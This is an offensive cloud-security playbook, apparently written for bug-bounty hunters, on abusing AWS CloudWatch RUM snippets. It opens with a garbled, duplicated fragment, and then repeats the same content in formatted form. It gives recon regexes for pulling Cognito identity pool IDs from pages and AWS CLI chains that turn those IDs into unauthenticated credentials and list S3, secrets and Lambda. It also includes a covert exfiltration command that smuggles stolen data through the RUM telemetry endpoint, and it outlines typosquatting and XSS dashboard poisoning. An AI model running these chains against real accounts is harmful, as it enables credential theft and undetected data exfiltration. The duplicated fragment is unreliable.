AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to dataplane.rum.<region>.amazonaws.com. The snippet's AppMonitor config contains an identityPoolId (Cognito) and guestRoleArn (IAM role) — both public by design. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (rum:PutRumEvents on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in cloud-iam-deep → Cognito Identity Pool chain.

telemetries: ["errors","performance","http"]
}
);
NPM-style (aws-rum-web package):
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);

# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
Chain A — Credential extraction (Critical when guestRole is over-permissioned). Once identityPoolId is extracted from the page, anyone runs:
aws cognito-identity get-id \
--identity-pool-id "us-east-1:abcd1234-..." \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:<returned-uuid>" \
--region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py
Full chain documented in cloud-iam-deep → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.
Chain B — Telemetry endpoint covert exfil. dataplane.rum.<region>.amazonaws.com is an AWS-owned domain on every enterprise allowlist. The PutRumEvents payload accepts arbitrary userDetails and customEvents string fields:
aws rum put-rum-events \
--id $(uuidgen) \
--app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
--user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
--rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
--endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
--region us-east-1
Defenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.
Chain C — DOM injection via snippet source poisoning. Many customers either self-host cwr.js on their own CDN (assets.target.com/cwr.js) or bundle aws-rum-web and serve from static.target.com/main.<hash>.js. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against aws-rum-webb) gives persistent JS execution on every page-load with the trust of the aws-rum-web SDK — including its already-granted Cognito permissions.
Chain D — Telemetry injection / dashboard poisoning. With the public identityPoolId + applicationId, an external attacker can flood PutRumEvents with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).

guestRoleArn with s3:*, dynamodb:*, secretsmanager:*, lambda:Invoke* on production resources | High (7.5-8.8) | Data exfil / RCE depending on resource |
guestRoleArn with cognito-identity:* or iam:PassRole | High (8.0) | Privilege escalation primitive |

Self-hosted cwr.js on takeoverable subdomain | Critical (9.8) when chained | Persistent stored XSS across every customer page |
No CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is "Cognito identity pool over-permission via embedded SDK" — RUM is one common embedding.

## CloudWatch RUM Weaponization (2024-2026 surface)
AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to `dataplane.rum.<region>.amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in `cloud-iam-deep` → Cognito Identity Pool chain.
### Detection — JS bundle fingerprints
**Snippet-style (most common, embedded in `<head>`):**
```javascript
(function(n,i,v,r,s,c,x,z){...})(
'cwr',
'00000000-0000-0000-0000-000000000000', // applicationId (UUID)
'1.0.0',
'us-east-1',
'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
{
sessionSampleRate: 1,
guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
identityPoolId: "us-east-1:abcd1234-...",
endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
telemetries: ["errors","performance","http"]
}
);
```
**NPM-style (aws-rum-web package):**
```javascript
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
```
### Regex set for recon
```bash
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .
# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .
# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .
# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .
# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
```
### Attack chains
**Chain A — Credential extraction (Critical when guestRole is over-permissioned).** Once `identityPoolId` is extracted from the page, anyone runs:
```bash
aws cognito-identity get-id \
--identity-pool-id "us-east-1:abcd1234-..." \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:<returned-uuid>" \
--region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py
```
Full chain documented in `cloud-iam-deep` → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.
**Chain B — Telemetry endpoint covert exfil.** `dataplane.rum.<region>.amazonaws.com` is an **AWS-owned domain on every enterprise allowlist**. The `PutRumEvents` payload accepts arbitrary `userDetails` and `customEvents` string fields:
```bash
aws rum put-rum-events \
--id $(uuidgen) \
--app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
--user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
--rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
--endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
--region us-east-1
```
Defenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.
**Chain C — DOM injection via snippet source poisoning.** Many customers either self-host `cwr.js` on their own CDN (`assets.target.com/cwr.js`) or bundle `aws-rum-web` and serve from `static.target.com/main.<hash>.js`. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against `aws-rum-webb`) gives persistent JS execution on every page-load with the trust of the `aws-rum-web` SDK — including its already-granted Cognito permissions.
**Chain D — Telemetry injection / dashboard poisoning.** With the public `identityPoolId` + `applicationId`, an external attacker can flood `PutRumEvents` with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).

### Validation checklist (before reporting)
1. Extract `identityPoolId` from page source.
2. Confirm pool allows unauth identities (`get-id` succeeds without auth).
3. Confirm `get-credentials-for-identity` returns STS creds.
4. Run `aws sts get-caller-identity` and **screenshot the role ARN**.
5. Run `enumerate-iam` / Pacu `iam__enum_permissions` — capture **at least one allowed action beyond `rum:PutRumEvents`**. Without this, the finding is Informational.
6. Demonstrate at least one read/list against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).
7. **Do not** modify/delete data even if permitted — read-only PoC only.
